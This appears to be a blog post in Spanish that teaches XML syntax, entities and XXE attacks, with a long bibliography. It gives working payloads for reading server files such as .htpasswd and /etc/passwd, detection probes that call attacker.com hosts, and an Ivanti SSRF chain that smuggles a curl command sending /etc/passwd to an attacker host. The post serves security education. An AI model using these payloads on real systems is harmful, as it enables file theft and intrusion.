Arseniy Sharoglazov https://mohemiv.com/ Arseniy Sharoglazov Arseniy Sharoglazov en Aegea Arseniy Sharoglazov Arseniy Sharoglazov no ¿Qué es XXE y cómo funciona? 6 https://mohemiv.com/all/que-es-xxe-y-como-funciona/ Fri, 31 May 2024 12:52:59 +0000 Arseniy Sharoglazov https://mohemiv.com/all/que-es-xxe-y-como-funciona/ <p><b>XXE</b> es una vulnerabilidad en el procesamiento de XML, un texto que está marcado según reglas específicas. Si una aplicación lo procesa incorrectamente, se pueden realizar ataques contra ella.</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/xxe-esp.png" width="720" height="407" alt="" /> </div> <p>Al principio de cualquier documento XML, se puede especificar un <b>doctype</b>. Este es un encabezado de texto en el que se declara qué tipo de documento es y qué hay dentro de este. A veces, en el doctype, se permiten construcciones peligrosas, como <b>entidades externas</b>.</p> <p>XXE significa XML eXternal Entity, que se traduce como entidad externa de XML.</p> <p>En este artículo, se aborda el enfoque clásico sobre la vulnerabilidad. Primero hablamos sobre las partes del XML:</p> <p><b>Etiquetas.</b> De qué se compone un documento<br /> <b>Documento.</b> Cómo construir un XML a partir de etiquetas<br /> <b>Declaración XML.</b> Declaramos el XML<br /> <b>Doctype.</b> Describimos la estructura del documento</p> <p>Luego, hablamos sobre las entidades: <b>entidades, entidades externas, entidades parametrizadas, referencias a caracteres.</b></p> <p>Al final, aprendemos a atacar:</p> <p><b>Lectura de archivos.</b> Descubrimos contraseñas<br /> <b>Falsificación de solicitudes.</b> Atacamos demonios y la red local<br /> <b>Cómo verificar.</b> Saber si el servidor es vulnerable<br /> <b>Qué sigue.</b> Problemas de la vulnerabilidad</p> <p>¡Vamos a desglosarlo!</p> <h2>Etiquetas</h2> <p>La etiqueta es una unidad compositiva del documento. Si el documento es una casa, entonces la etiqueta es un ladrillo.</p> <p>La etiqueta es una marca entre llaves: &lt;abc&gt;. Hay tres tipos de etiquetas: inicio: &lt;abc&gt;, cierre: &lt;/abc&gt;, vacía: &lt;abc/&gt;.</p> <p>Entre la etiqueta de inicio y la de cierre se almacena información:</p> <pre><code class="xml" style="margin-bottom: 13px">&lt;abc&gt;XXE&lt;/abc&gt;</code></pre><p>Esto se llama un <b>elemento</b>. Una etiqueta vacía también es un elemento.</p> <p>Todas las etiquetas pueden tener atributos. El valor del atributo puede estar entre comillas dobles o simples:</p> <pre><code class="xml" style="margin-bottom: 13px">&lt;text lang=&quot;en-US&quot;&gt;XXE&lt;/text&gt;&lt;break size='20'/&gt;</code></pre><p>En los atributos, se escriben pequeñas opciones: idioma, número de orden. El atributo indica: pertenezco a lo que está dentro de la etiqueta.</p> <p>Entre las etiquetas puede haber comentarios:</p> <pre><code class="xml" style="margin-bottom: 13px">&lt;!-- XXE --&gt;&lt;abc lang=&quot;en-US&quot; page='1'&gt;XXE &lt;!-- XXE --&gt; XXE &lt;/abc&gt;</code></pre><p>Los comentarios son para los desarrolladores. Las aplicaciones los omiten.</p> <div style="background-color: #fff2cc; max-width: 720px; padding: .75rem 1.25rem;"><p><b>Instrucciones de procesamiento</b></p><p>En XML, se permite usar instrucciones de procesamiento:</p><pre><code class="xml" style="margin-bottom: 13px; margin-top: 10px">&lt;abc/&gt;&lt;?inst TEXT?&gt;&lt;abc/&gt;</code></pre><p>Normalmente, las aplicaciones percibirán estas instrucciones como comentarios. No llame <span style="white-space: nowrap;">“xml”</span> a la instrucción, ya que está reservado para la declaración XML.</p></div><h2>Documento</h2> <p>Si le pasas a una aplicación un conjunto de etiquetas, no lo entenderá. Las aplicaciones solo aceptan documentos.</p> <p>Un documento es un solo elemento que, a su vez, puede tener otros elementos dentro:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!-- XXE --&gt; &lt;page&gt; &lt;descr lang=&quot;en-US&quot;&gt;XXE&lt;/descr&gt; &lt;xyz/&gt; &lt;/page&gt;</code></pre><p>Las etiquetas en un documento se abren en el mismo orden en que se cierran. El documento más corto consiste en una etiqueta vacía.</p> <h2>Declaración XML</h2> <p>La declaración es el primer encabezado de XML. Indica qué tipo de documento es y en qué codificación está:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;no&quot;?&gt;</code></pre><p>La declaración siempre está al principio: indica cómo leer el doctype y el cuerpo del documento.</p> <p>La declaración tiene tres atributos:</p><p><b>version:</b> Versión de XML. Se escribe 1.0.<br /> <b>encoding:</b> Codificación. Generalmente UTF-8.<br /> <b>standalone:</b> Autonomía. En un XML autónomo, las entidades externas no funcionan. Se escribe no.</p> <p>No se pueden cambiar de lugar los atributos. La codificación y la autonomía son opcionales.</p> <p>La declaración puede ayudar a distinguir entre <b>inyección XML</b> y XXE.</p> <table class="custom-table-1" style="max-width: 720px;"><tr><td><p><b>Funcionará</b></p> </td><td style="width: 40%;"><p><b>No Funcionará</b></p> </td></tr><tr><td><pre><code class="xml">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;Text &lt;/page&gt;</code> </pre></td><td><pre><code class="xml">&lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;<span style="background: #FFC0CB;">&lt;?xml version=&quot;1.0&quot;?&gt;</span> &nbsp;&nbsp;&nbsp;&nbsp;Text &lt;/page&gt;</code> </pre></td></tr></table><p>Siempre recomiendo escribir la declaración. Primero, te aseguras de que controlas el inicio del documento. Segundo, según <a href="proxy.php?url=https://www.w3.org/TR/xml/">la especificación</a>, no puedes definir un doctype sin la declaración.</p> <h2>Doctype</h2> <p>El doctype es el segundo encabezado de XML. Es una construcción opcional en la que se describe la estructura del documento.</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ELEMENT page (descr)*&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ELEMENT descr ANY&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ATTLIST descr &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lang CDATA #REQUIRED&gt; ]&gt; &lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;descr lang=&quot;en-US&quot;&gt;Text&lt;/descr&gt; &lt;/page&gt;</code></pre><p>El doctype mínimo nombra el elemento raíz:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!DOCTYPE page&gt;</code></pre><p>El doctype es necesario para describir la estructura del documento. Esto se hace en otro lenguaje llamado DTD.</p> <p>No te preocupes. No es necesario conocer DTD a fondo. Basta con saber cómo definir entidades.</p> <h2>Entidades</h2> <p>Una entidad es un texto que se puede definir en DTD y luego usar en el documento mediante una referencia:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY english &quot;en&quot;&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY english_full &quot;&amp;english;-US&quot;&gt; ]&gt; &lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;descr lang=&quot;&amp;english_full;&quot;&gt;Text&lt;/descr&gt; &lt;/page&gt;</code></pre><p>Estas entidades se llaman <b>generales</b>. Se usan cuando algún texto o símbolo especial se repite varias veces.</p> <p>Las entidades generales se expandirán al leer el documento, no en el doctype. Pueden incluir elementos, pero no pueden modificar la estructura externa. También pueden ser anidadas.</p> <p>Por defecto, ya tienes cinco entidades:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Entidad</b></td> <td><b>Lo que verá la aplicación</b></td> </tr> <tr> <td>&amp;lt;</td> <td>&lt;</td> </tr> <tr> <td>&amp;gt;</td> <td>&gt;</td> </tr> <tr> <td>&amp;quot;</td> <td>&quot;</td> </tr> <tr> <td>&amp;apos;</td> <td>&apos;</td> </tr> <tr> <td>&amp;amp;</td> <td>&amp;</td> </tr> </table> </div> <p>Son necesarias para no dañar la estructura cuando necesitas usar caracteres especiales. Además, ayudan a proteger contra inyecciones XML.</p> <h2>Entidades externas</h2> <p>Las entidades externas son entidades cuyo texto se obtiene mediante un enlace:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY info SYSTEM &quot;http://api.wolframalpha.com/v2/result?appid=[TOKEN]&amp;input=the+next+solar+eclipse&quot;&gt; ]&gt; &lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;descr lang=&quot;en-US&quot;&gt;The next solar eclipse occurs on &amp;info;.&lt;/descr&gt; &lt;/page&gt;</code></pre><p>En este ejemplo, el parser seguirá el enlace, insertará los datos y luego entregará el texto a la aplicación.</p> <p>El parser no siempre mira las entidades externas. Si soporta evaluaciones perezosas, solo accederá al enlace cuando necesite el texto del elemento. Los elementos que la aplicación omite no serán leídos por dicho parser.</p> <p>Hay dos maneras de conectar las entidades: a través de SYSTEM y a través de PUBLIC.</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!ENTITY name SYSTEM &quot;URI&quot;&gt; &lt;!ENTITY name PUBLIC &quot;Public-ID&quot; &quot;URI&quot;&gt;</code></pre><p>Si la entidad está conectada a través de PUBLIC, el parser primero la buscará en el almacenamiento por su Public-ID y, si no la encuentra allí, la obtendrá mediante el enlace.</p> <p><b>Nota avanzada:</b> El uso del almacenamiento y Public-ID fue una forma secreta de explotar XXE, similar a mi publicación de 2018: <a href="proxy.php?url=https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/"> Exploiting XXE with local DTD files</a>. No estoy seguro si este método fue publicado posteriormente.</p> <p>Un URI puede ser no solo un recurso en Internet, sino también una ruta a un archivo en el sistema operativo.</p> <p>Las entidades externas están prohibidas en los atributos:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;a attr=&quot;<span style="background: #FFC0CB;">&amp;ent;</span>&quot;&gt;&amp;ent;&lt;/a&gt;</code></pre><p>Dentro de los identificadores SYSTEM y PUBLIC no se realiza ningún procesamiento de los caracteres especiales en el URI, como &amp;, %; puedes insertarlo tal como está.</p> <h2>Entidades parametrizadas</h2> <p>Las entidades parametrizadas son entidades especiales para su uso dentro del DTD:</p> <pre><code class="xml" style="margin-bottom: 13px;">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY % languages '&lt;!ENTITY english &quot;en-US&quot;&gt;'&gt; &nbsp;&nbsp;&nbsp;&nbsp;%languages; ]&gt; &lt;page&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;descr lang=&quot;&amp;english;&quot;&gt;Text&lt;/descr&gt; &lt;/page&gt;</code></pre><p>Se diferencian de las entidades normales por el signo de porcentaje. No están relacionadas con las entidades normales; incluso sus espacios de nombres son diferentes.</p> <p>Las entidades parametrizadas también pueden ser externas:</p> <pre><code class="xml" style="margin-bottom: 13px;">… &lt;!DOCTYPE page [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY % languages SYSTEM 'languages.dtd'&gt; &nbsp;&nbsp;&nbsp;&nbsp;%languages; ]&gt; …</code></pre><p>A diferencia de las entidades generales, las entidades parametrizadas a menudo pueden alterar la estructura de la DTD.</p> <div style="background-color: #fff2cc; max-width: 720px; padding: .75rem 1.25rem;"><p><b>Doctype externo</b></p><p>Otra forma de incluir un DTD es mediante un doctype externo. Se puede utilizar tanto con SYSTEM como con PUBLIC.</p><pre><code class="xml" style="margin-bottom: 13px; margin-top: 10px">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page SYSTEM 'languages.dtd'&gt; &lt;page&gt;XXE&lt;/page&gt;</code></pre><p>El doctype externo se puede combinar con un DTD interno:</p><pre><code class="xml" style="margin-bottom: 13px; margin-top: 10px">&lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE page SYSTEM 'languages.dtd' [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY english &quot;en&quot;&gt; ]&gt; &lt;page&gt;XXE&lt;/page&gt;</code></pre></div><h2>Referencias a caracteres</h2> <p>Las referencias a los caracteres son casi entidades. Se utilizan para definir caracteres mediante el código Unicode:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Character</b></td> <td><b>Formato DEC</b></td> <td><b>Formato HEX</b></td> </tr> <tr> <td>%</td> <td>&amp;#37;</td> <td>&amp;#x25;</td> </tr> <tr> <td>&amp;</td> <td>&amp;#38;</td> <td>&amp;#x26;</td> </tr> <tr> <td>§</td> <td>&amp;#167;</td> <td>&amp;#xA7;</td> </tr> <tr> <td>‰</td> <td>&amp;#8240;</td> <td>&amp;#x2030;</td> </tr> </table> </div> <p>Las referencias a caracteres son reconocidas tanto en las entidades en el doctype como en el cuerpo del documento:</p> <table class="custom-table-1" style="max-width: 720px;"><tr><td><p><b>Antes de leer</b></p> </td><td style="width: 40%;"><p><b>Después de leer</b></p> </td></tr><tr><td><pre><code class="xml">&lt;!DOCTYPE abc [ &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY permille_1 &quot;&amp;#8240;&quot;&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY permille_2 &quot;&amp;#38;#8240;&quot;&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;!ENTITY permille_3 &quot;&amp;#38;#38;#8240;&quot;&gt; ]&gt; &lt;abc&gt; &nbsp;&nbsp;&nbsp;&nbsp;A: &amp;#8240; &nbsp;&nbsp;&nbsp;&nbsp;B: &amp;permille_1; &nbsp;&nbsp;&nbsp;&nbsp;C: &amp;permille_2; &nbsp;&nbsp;&nbsp;&nbsp;D: &amp;permille_3; &lt;/abc&gt;</code> </pre></td><td><pre><code class="xml"><br><br><br><br><br>&lt;abc&gt; &nbsp;&nbsp;&nbsp;&nbsp;A: ‰ &nbsp;&nbsp;&nbsp;&nbsp;B: ‰ &nbsp;&nbsp;&nbsp;&nbsp;C: ‰ &nbsp;&nbsp;&nbsp;&nbsp;D: &amp;#8240; &lt;/abc&gt;</code> </pre></td></tr></table><p>En la primera línea, la referencia se expandirá en el elemento. En la segunda línea, la referencia se expandirá en el doctype. En la tercera, primero en el doctype y luego otra vez en el elemento</p> <h2>Lectura de archivos</h2> <p>Ya sabes cómo construir documentos, escribir doctypes y definir entidades. Ahora lo más importante: cómo atacar.</p> <p>Arbitrary File Read es un ataque en el que puedes leer archivos en el servidor. Cuando indicas la ruta a un archivo local en el URI en de la entidad externa, el parser lo incluirá en el documento y la aplicación puede mostrar su contenido:</p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;?xml version=&#x22;1.0&#x22;?&#x3E; &#x3C;!DOCTYPE page [ &#x3C;!ENTITY file SYSTEM &#x22;/var/www/monitoring/.htpasswd&#x22;&#x3E; ]&#x3E; &#x3C;page&#x3E; &#x26;file; &#x3C;/page&#x3E;</code></pre><p>Descubrir las rutas a los archivos es complicado. Hay que adivinarlas, pero existen trucos:</p> <h3>A veces funciona el listado de directorios</h3> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!ENTITY file SYSTEM &quot;/home&quot;&gt;</code></pre><h3>A veces funciona el ataque de enumeración de directorios</h3> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!ENTITY file SYSTEM &quot;/etc/abc/../../etc/passwd&quot;&gt;</code></pre><h3>Los archivos se pueden leer mediante rutas relativas</h3> <pre><code class="xml" style="margin-bottom: 13px;">&lt;!ENTITY file1 SYSTEM &quot;./test.txt&quot;&gt; &lt;!ENTITY file2 SYSTEM &quot;file:./test.txt&quot;&gt;</code></pre><p>El camino relativo se determina desde el directorio de trabajo de la aplicación si la entidad externa está especificada en el DTD interno, y en relación con el URI si está especificada en el DTD externo.</p> <p>Si solo controlas el DTD externo, en algunos casos puedes utilizar el protocolo file: para acceder a rutas relativas en relación con el directorio de la aplicación. Esto es especialmente relevante para Java.</p> <h2>Falsificación de solicitudes</h2> <p>SSRF es un ataque en el que envías solicitudes desde la aplicación a varios servicios, internos o externos, o a externos cuyo acceso está bloqueado por el firewall.</p> <p>El ejemplo más conocido de explotación SSRF a través de XXE hasta la fecha probablemente sea la combinación de CVE-2024-21887 y CVE-2024-22024 en Ivanti Connect Secure:</p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;?xml version=&#x22;1.0&#x22;?&#x3E; &#x3C;!DOCTYPE root [ &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;!ENTITY % xxe SYSTEM &#x22;http://127.0.0.1:8090/api/v1/license/keys-status/%3bcurl%20-X%20POST%20-d%20%40%2fetc%2fpasswd%20http%3a%2f%2f8attacker.com%3b&#x22;&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;%xxe; ]&#x3E; &#x3C;root&#x3E;&#x3C;/root&#x3E;</code></pre><p>Aunque este no es el método original de explotar las vulnerabilidades, es un claro ejemplo de cómo encadenar XXE y SSRF en el software más reciente.</p> <h2>Cómo verificar XXE</h2> <p>Para la prueba, es mejor encontrar un documento preparado que acepte la aplicación. Puede ser interceptado o exportado.</p> <p>A continuación, es importante enviarlo al servidor en la forma en que este espera recibirlo. Por ejemplo, el servidor puede verificar el encabezado Content-Type y permitir solo valores text/xml o application/xml.</p> <p>Al final, en el documento se menciona una entidad externa de todas formas posibles e intenta realizar un SSRF al host del atacante.</p> <h3>Método 1</h3> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;?xml version=&#x22;1.0&#x22; encoding=&#x22;utf-8&#x22; standalone=&#x22;no&#x22;?&#x3E; &#x3C;!DOCTYPE message [ &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;!ENTITY % test SYSTEM &#x22;http://testxxe.attacker.com/&#x22;&#x3E; %test; ]&#x3E; &#x3C;message &#x2026;&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&#x2026; &#x3C;/message&#x3E;</code></pre><h3>Método 2</h3> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;?xml version=&#x22;1.0&#x22; encoding=&#x22;utf-8&#x22; standalone=&#x22;no&#x22;?&#x3E; &#x3C;!DOCTYPE message SYSTEM &#x22;http://testxxe.attacker.com/&#x22;&#x3E; &#x3C;message &#x2026;&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&#x2026; &#x3C;/message&#x3E;</code></pre><h3>Método 3</h3> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;?xml version=&#x22;1.0&#x22; encoding=&#x22;utf-8&#x22; standalone=&#x22;no&#x22;?&#x3E; &#x3C;!DOCTYPE message [ &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;!ENTITY test SYSTEM &#x22;http://testxxe.attacker.com/&#x22;&#x3E; ]&#x3E; &#x3C;message document=&#x22;1.0&#x22;&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;some_structures&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#x2026; &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;/some_structures&#x3E; &nbsp;&nbsp;&nbsp;&nbsp; &#x3C;some_structures&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#x3C;column name=&#x22;test&#x22;&#x3E;&#x26;test;&#x3C;/column&#x3E; &nbsp;&nbsp;&nbsp;&nbsp;&#x3C;/some_structures&#x3E; &#x3C;/message&#x3E;</code></pre><p>Si la aplicación es vulnerable, tu servidor DNS debería recibir la solicitud correspondiente o deberías notar una pausa en la respuesta.</p> <p style="font-size: 2rem; margin-bottom: 23px; margin-top 23px; line-height: 1.1;">Al verificar a través de DNS, hay una mayor probabilidad de obtener la respuesta.</p><p>Siempre se puede usar una construcción PUBLIC en lugar de SYSTEM. Una de ellas puede funcionar mientras que la otra no.</p> <p>Si los tres métodos fallan, no se puede afirmar con certeza que no haya una vulnerabilidad. Presta atención a señales indirectas: soporte de la declaración XML, funcionamiento de construcciones DTD seguras, errores en la página y tiempo de respuesta de la solicitud.</p> <p>Si crees que las respuestas al exterior están bloqueadas por el firewall y el DNS no está disponible, también puedes realizar pruebas booleanas específicas del sistema operativo:</p> <p><b>Linux (Correcto DTD)</b></p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;!ENTITY % test SYSTEM &#x22;file:///sys/devices/system/cpu/uevent&#x22;&#x3E; %test;</code></pre><p><b>Linux (Incorrecto DTD)</b></p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;!ENTITY % test SYSTEM &#x22;file:///bin/sh&#x22;&#x3E; %test;</code></pre><p><b>Windows 7+ (Correcto DTD)</b></p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;!ENTITY % test SYSTEM &#x22;file:///C:\Windows\System32\wbem\en-US\p2p-mesh.mfl&#x22;&#x3E; %test;</code></pre><p><b>Windows 7+ (Incorrecto DTD)</b></p> <pre><code class="xml" style="margin-bottom: 13px;">&#x3C;!ENTITY % test SYSTEM &#x22;file:///C:\Windows\notepad.exe&#x22;&#x3E; %test;</code></pre><p>A veces, no vale la pena gastar tiempo: por ejemplo, el protocolo SOAP casi nunca es vulnerable. Pero si dentro de SOAP notas XML personalizado en uno de los campos, dedica tiempo a examinarlo, ya que también podría haber XXE.</p> <h2>¿Qué sigue?</h2> <p>La XXE tiene varios problemas.</p> <p><b>No se pueden leer archivos binarios</b><br /> Si el parser encuentra caracteres que no están en la codificación, el procesamiento se detendrá. La codificación predeterminada es UTF-8, pero se puede cambiar en el encabezado XML.</p> <p><b>No se pueden mostrar archivos que dañen la estructura</b><br /> En algunos archivos que intente leer, encontrará caracteres especiales de XML:</p> <pre><code class="ini" style="margin-bottom: 13px;">[users] name = admin username = admin <span style="background: #FFC0CB;">&#x3C;</span>admin@localhost<span style="background: #FFC0CB;">&#x3E;</span> password = 6x<span style="background: #FFC0CB;">&#x26;</span>IBGK</code></pre><p>La inclusión de estos caracteres dañará el documento y detendrá el procesamiento.</p> <p><b>Las aplicaciones rara vez devuelven datos en la página</b><br /> Puedes obtener una respuesta por DNS, pero la página estará vacía. Aquí, los ataques clásicos no serán efectivos.</p> <p>Estos problemas hacen que la vulnerabilidad XXE sea muy compleja. Resolverlos se llama explotación de XXE.</p> <p>Recomiendo las siguientes fuentes para entender qué se puede hacer con XXE en casos difíciles:</p> <div><ol start="1"> <li><a target="_blank" href="proxy.php?url=https://www.w3.org/TR/xml/">2013, W3C, Extensible Markup Language (XML) 1.0 (Fifth Edition)</a></li> <li><a target="_blank" href="proxy.php?url=https://research.nccgroup.com/wp-content/uploads/2020/09/VSR-XMLDTDEntityAttacks.pdf">2014, VSR, XML Schema, DTD, and Entity Attacks</a></li> <li><a target="_blank" href="proxy.php?url=https://mohemiv.com/files/XML_Exteral_Entity_Attack.pdf">2010, OWASP, XML External Entity Attacks (XXE)</a></li> <li><a target="_blank" href="proxy.php?url=https://www.blackhat.com/docs/us-15/materials/us-15-Vandevanter-Exploiting-XXE-Vulnerabilities-In-File-Parsing-Functionality.pdf">2015, Will Vandevanter, EXPLOITING XXE IN FILE UPLOAD FUNCTIONALITY</a></li> <li><a target="_blank" href="proxy.php?url=https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE.pdf">2015, Xiaoran Wang &amp; Sergey Gorbaty, FileCry – The New Age of XXE</a></li> <li><a target="_blank" href="proxy.php?url=http://2015.zeronights.ru/assets/files/35-Egorov.pdf">2015, Mikhail Egorov, What should a hacker know about WebDav?</a></li> <li><a target="_blank" href="proxy.php?url=http://www.synacktiv.fr/ressources/synacktiv_drupal_xxe_services.pdf">2015, Renaud Dubourguais, Pre-authentication XXE vulnerability in the Services Drupal module</a></li> <li><a target="_blank" href="proxy.php?url=https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf">2015, Salesforce.com, XXE defence(les)s in JDK XML parsers</a></li> <li><a target="_blank" href="proxy.php?url=https://mohemiv.com/files/2_Vorontsov_XXE.pdf">2012, @d0znpp, XXE: advanced exploitation</a></li> <li><a target="_blank" href="proxy.php?url=https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf">2013, Timur Yunusov, Alexey Osipov, XML Out‐Of-­Band Data Retrieval</a></li> <li><a target="_blank" href="proxy.php?url=https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf">2016, Sean Melia, Out of Band XML External Entity Injection via SAML SSO</a></li> <li><a target="_blank" href="proxy.php?url=https://xakep.ru/2012/12/11/xml-apps-attacks-manual/">2012, Xakep.ru, Desktop Guide to Attacks on XML Applications</a></li> <li><a target="_blank" href="proxy.php?url=http://www.artlebedev.ru/tools/technogrette/xslt/entity-3/">2011, Alexander Samilyak, Entity types</a></li> <li><a target="_blank" href="proxy.php?url=http://www.artlebedev.ru/tools/technogrette/xslt/entity-2/">2011, Alexander Samilyak, Entities vs Variables</a></li> <li><a target="_blank" href="proxy.php?url=http://www.artlebedev.ru/tools/technogrette/xslt/entity-1/">2011, Alexander Samilyak, Entities and ways to use them</a></li> <li><a target="_blank" href="proxy.php?url=http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf">2013, VSR, What You Didn’t Know About XML External Entities Attacks</a></li> <li><a target="_blank" href="proxy.php?url=https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/">2014, Etienne, Revisting XXE and abusing protocols</a></li> <li><a target="_blank" href="proxy.php?url=http://neonprimetime.blogspot.ru/2015/11/xsl-payload-xxe-rce-e3xpl0it.html">2015, Digging Deeper on xsl payload ‏@e3xpl0it #XXE #RCE </a></li> <li><a target="_blank" href="proxy.php?url=https://www.christian-schneider.net/GenericXxeDetection.html">2014, Christian Schneider, Generic XXE Detection</a></li> <li><a target="_blank" href="proxy.php?url=https://web.archive.org/web/20140325033255/https://bugscollector.com/tricks/7/">2014, Sergey Belov, Trick #7 – Receiving data with blind XXE</a></li> <li><a target="_blank" href="proxy.php?url=http://d.hatena.ne.jp/teracc/20090718#1247918667">2009, Security of apps that parse XML</a></li> <li><a target="_blank" href="proxy.php?url=https://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html">2014, h3xStream, Identifying Xml eXternal Entity vulnerability (XXE)</a></li> <li><a target="_blank" href="proxy.php?url=https://web.archive.org/web/20151203023202/http://www.attack-secure.com/blog/hacked-facebook-word-document">2015, How I Hacked Facebook with a Word Document</a></li> <li><a target="_blank" href="proxy.php?url=https://www.insinuator.net/2015/03/xxe-injection-in-apache-batik-library-cve-2015-0250/">2015, Kevin Schaller, XML External Entity (XXE) Injection in Apache Batik Library [CVE-2015-0250]</a></li> <li>[N/A] 2014, Ed_A, XML External Entity Injection For Fun and Maybe Profit</li> <li><a target="_blank" href="proxy.php?url=http://blog.csdn.net/u011721501/article/details/43775691/">2016, CSDN, Blind XXE</a></li> <li><a target="_blank" href="proxy.php?url=https://mohemiv.com/files/OWASP_JOU_XML_DTD_Attacks.pptx">2010, OWASP, Flash Talk – XML DTD Attacks</a></li> <li>[N/A] 2011, RDot.org, XXE Attack</li> <li><a target="_blank" href="proxy.php?url=https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-orrin.pdf">2015, Steve Orrin, The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks &amp; Threats</a></li> <li><a target="_blank" href="proxy.php?url=https://blog.gdssecurity.com/labs/2015/4/29/automated-data-exfiltration-with-xxe.html">2015, Georg Chalupar, Automated Data Exfiltration With XXE</a></li> <li><a target="_blank" href="proxy.php?url=https://xakep.ru/download/?pdf=xa-160">2012, Andrey Petukhov, Nikolay Matyunin, Desktop Guide to Attacks on XML Applications (p. 18)</a></li> <li>2007, The Web Application Hacker’s Handbook 2</li> <li>2011, ISBN: 978-1-59749-655-1, Ethical hacking and penetration testing guide</li> <li><a target="_blank" href="proxy.php?url=http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-1.html">2014, Cross Site Port Attacks – XSPA – Part 1 </a></li> <li><a target="_blank" href="proxy.php?url=http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-2.html">2014, Cross Site Port Attacks – XSPA – Part 2 </a></li> <li><a target="_blank" href="proxy.php?url=http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-3.html">2014, Cross Site Port Attacks – XSPA – Part 3 </a></li> <li><a target="_blank" href="proxy.php?url=https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/">2018, Arseniy Sharoglazov, Exploiting XXE with local DTD files</a></li> <li><a target="_blank" href="proxy.php?url=https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf">2012, Alexander Polyakov, Dmitry Chastukhin, SSRF vs. Business:<br /> XXE tunneling in SAP</a></li> <li><a target="_blank" href="proxy.php?url=https://mohemiv.com/files/ssrf-onsec-zn12-121120080849-phpapp02.pdf">2012, Vladimir Vorontsov, Alexander Golovko, SSRF attacks and sockets: smorgasbord of vulnerabilities</a></li> <li><a target="_blank" href="proxy.php?url=https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM">2017, Wallarm, SSRF bible. Cheatsheet</a></li> <li><a target="_blank" href="proxy.php?url=https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152">2013, Greg Farnham, Detecting DNS Tunneling</a></li> 